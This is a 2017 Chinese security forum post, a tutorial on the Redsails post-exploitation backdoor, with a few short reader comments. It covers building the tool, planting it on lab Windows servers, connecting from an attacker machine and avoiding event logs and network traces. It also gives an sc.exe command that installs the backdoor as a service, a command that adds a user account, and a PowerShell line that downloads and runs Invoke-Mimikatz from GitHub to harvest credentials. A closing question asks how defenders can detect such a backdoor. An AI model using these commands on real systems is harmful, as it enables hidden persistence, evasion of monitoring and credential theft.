用户
搜索
  • TA的每日心情

    2017-12-28 15:34
  • 签到天数: 5 天

    连续签到: 1 天

    [LV.2]偶尔看看

    版主

    Rank: 7Rank: 7Rank: 7

    72

    主题

    260

    帖子

    2321

    魔法币
    收听
    0
    粉丝
    90
    注册时间
    2016-6-21

    i春秋认证春秋巡逻i春秋签约作者春秋游侠春秋文阁

    发表于 2017-11-15 17:18:45 326574
    本帖最后由 Sp4ce 于 2017-12-28 07:37 编辑

    Redsails是使用python开发的一款后渗透测试工具,其目的是可以使我们在目标主机上执行命令且无需创建任何事件日志以及网络连接,详细作用如下:

    • 在目标主机持续建立连接
    • 绕过许多常见的事件日志
    • 产生虚假日志/网络流量

    0x01安装依赖

    redsails需要pydivert、pydivert、pycrypto,因此需要pip下【此步在windows下完成】

    pip install pydivert

    pip install pbkdf2

    easy_install pycrypto
    在安装pycrpto之前需要VC++编译器点我下载

    在没有python环境的windows下执行需要将其打包,因此还需要pyinstaller

    pip install pyinstaller

    0x02环境介绍&配置&攻击

    攻击机:Windows7、Kali Linux
    windows7IP:10.53.3.102
    Klilinux IP:10.53.3.104
    靶机:Windows 2008 R2 DataCenter、Windows 2012R2【可在windows全平台运行】
    IP:10.53.3.161、10.53.3.211
    首先从gayhub上下载redsails并解压到桌面

    cmd进入redsails目录

    然后执行

    pyinstaller-script.py -F --clean redSails.spec


    打包成功
    生成的文件在\Desktop\redsails\dist\

    本机CMD下执行下redsails即可看到说明文档【这是受控端】

    然后上传到靶机(模拟被入侵的windows服务器)。

    靶机CMD执行
    redsails -a 攻击机IP -p 密码 -o 端口

    攻击机转到redsails的client目录执行
    redSailsClient.py -t 肉鸡IP -p 密码 -o 肉鸡端口
    Windows2012R2 IP:10.53.3.211

    whoami

    ipconfig

    netstat -ano并没有我们的22端口和攻击机的IP

    2008R2 IP:10.53.3.161

    whoami

    ipconfig


    长久控制【添加到服务】
    【命令注释】
    ATTACKIP:攻击机IP,PORT:开放端口,PASSWORD:连接密码
    肉鸡CMD下执行
    sc.exe create servername binpath= "cmd.exe /C FILEPATH/FILENAME -a ATTACKIP -o PORT -p PASSWORD"
    黑体部分按照上面说的自己替换


    更多的东西自己挖掘吧

    SHELL下的常用CMD命令
    其实就是CMD命令前面加SHELL::
    SHELL::whoami
    SHELL::net user
    SHELL::netstat -ano
    SHELL::net user name password /add

    powershell在这里也可以用
    命令:PSHELL::POWERSHELL命令
    查密码的命令:PSHELL::IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1 ');Invoke-Mimikatz

    如果有无法生成的,可以用附件中的exe
    文件信息
    MD5: 3F985A55BEAAF1E11C87CDE1A34E49D6
    SHA1: EE6A0458D9CCEE529CD75D89245B18057E20B291
    CRC32: 99D4B13E
    [hide]有后门[/hide]

    0x03思考

    如果后门可以躲避IDS等流量监控系统的审查,那么作为运维的我们该如何检测呢?

    本帖被以下淘专辑推荐:

    不傲不畏,不卑不亢,不骄不躁,不气不馁,不争不抢
    z7788520 i春秋作家 ← 假 真➡i春秋打杂员 突出贡献 积极活跃奖 核心白帽 白帽大神 i春秋签约作者 热心助人奖
    沙发
    发表于 2017-11-15 20:28:21
    我丢,还以为是RAT
    不惹事,不生事,妖魔鬼怪快走开
    使用道具 举报 回复
    发表于 2017-11-16 15:57:09
    是不是有一部分图挂了
    使用道具 举报 回复
    支持一下~
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册